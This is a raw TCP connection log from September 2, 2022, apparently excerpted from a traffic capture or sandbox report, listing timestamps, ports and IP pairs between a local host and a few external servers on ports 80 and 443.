Sep 2, 2022 14:02:35.317688942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317704916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317717075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317718029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317743063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317771912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317784071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317796946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317799091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317817926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317835093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317846060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317873001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317877054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317899942 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317900896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317926884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317929029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317948103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.317956924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317970037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.317974091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318001986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318027973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318056107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318073034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318099976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318114042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318278074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318341970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318371058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318397999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318424940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318425894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318445921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318460941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318474054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318641901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318660975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318680048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318698883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318711996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.318726063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.318758965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.319338083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.319369078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.319390059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.319412947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.319458008 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.319478035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.319490910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.319519043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.319538116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.367494106 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.367600918 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.371376991 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.371902943 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.579396963 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.579684019 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.803412914 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:35.803524017 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:35.879035950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:35.879228115 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:35.995412111 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.997355938 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998642921 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998661995 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998678923 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998744965 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998756886 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998770952 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998789072 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998795986 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998806953 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998815060 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998826027 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998835087 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998845100 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998861074 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998872042 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998894930 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998904943 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998914003 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998955965 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.998970032 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.998992920 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999001026 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999007940 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.999037981 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.999049902 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.999054909 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999073982 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999082088 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.999211073 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999248981 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:35.999269009 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999277115 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:35.999385118 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.207369089 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.212218046 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.423465014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.423563004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.570065022 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.570091009 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.570112944 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.570230007 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.570251942 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.570276022 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.570360899 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.570373058 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.570410967 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.570451975 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.571916103 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.571943045 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.571963072 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.572041988 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.572052002 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.572074890 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.572091103 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.572124004 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.573247910 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.577255964 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577284098 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577303886 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577414989 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577423096 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577436924 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577462912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577467918 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577522993 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577531099 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577575922 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577584028 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577624083 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577630043 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577677011 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577682972 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577759027 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577773094 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577802896 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:36.577816963 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.577943087 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.578000069 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:36.581598997 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581619978 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581643105 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581648111 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581665993 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581718922 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581729889 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581759930 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581773996 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581825972 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581839085 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581876040 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581887960 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581895113 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581902981 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.581958055 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581969023 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.581978083 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.582019091 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.582036972 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.582065105 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:36.582077980 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.582096100 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.582129955 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.582153082 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:36.586757898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.587356091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.752955914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.753011942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.753086090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.753088951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.753130913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.754187107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754225016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754245996 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754273891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754277945 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.754304886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754312038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.754324913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754337072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.754432917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754509926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.754559040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754587889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.754601002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.755312920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.755378962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.755387068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.755419016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.755450964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.756457090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756520987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756545067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.756547928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756578922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.756587029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756628990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756656885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756664991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.756793022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756824017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756844997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.756867886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.757338047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757380009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757392883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.757401943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757417917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.757771015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757869959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757915974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757936954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757966042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.757997036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.757998943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758014917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.758038998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758074045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.758383036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758410931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758430958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758455992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.758457899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758487940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758487940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.758507013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.758517981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.759040117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759377003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759416103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759435892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759463072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759464979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.759490967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759496927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.759510040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.759521961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.760428905 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760461092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760473967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760495901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760514975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.760524988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760540962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.760545969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760555983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.760572910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760601044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760620117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760632992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.760648012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760883093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760904074 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.760919094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.761862993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.761892080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.761909962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.761933088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.761938095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.761976957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762124062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762151003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762168884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762171030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762195110 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762470007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762497902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762516975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762520075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762542009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762546062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762576103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762578964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762595892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762605906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762624025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762665033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762686014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762701988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762761116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762789965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762808084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762825966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762835026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762861967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762881041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762895107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762909889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762938023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762958050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.762972116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.762984991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763012886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763031960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763046026 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763060093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763087034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763107061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763120890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763184071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763212919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763232946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763253927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763274908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763283968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763294935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763308048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763314962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763436079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763463020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763482094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763504028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763662100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763711929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763792992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763813019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763834000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763865948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763896942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763901949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.763916016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.763926029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764415026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764446974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764467955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764477015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764484882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:36.764494896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:36.764522076 CEST	49787	80	192.168.2.6	85.209.157.230
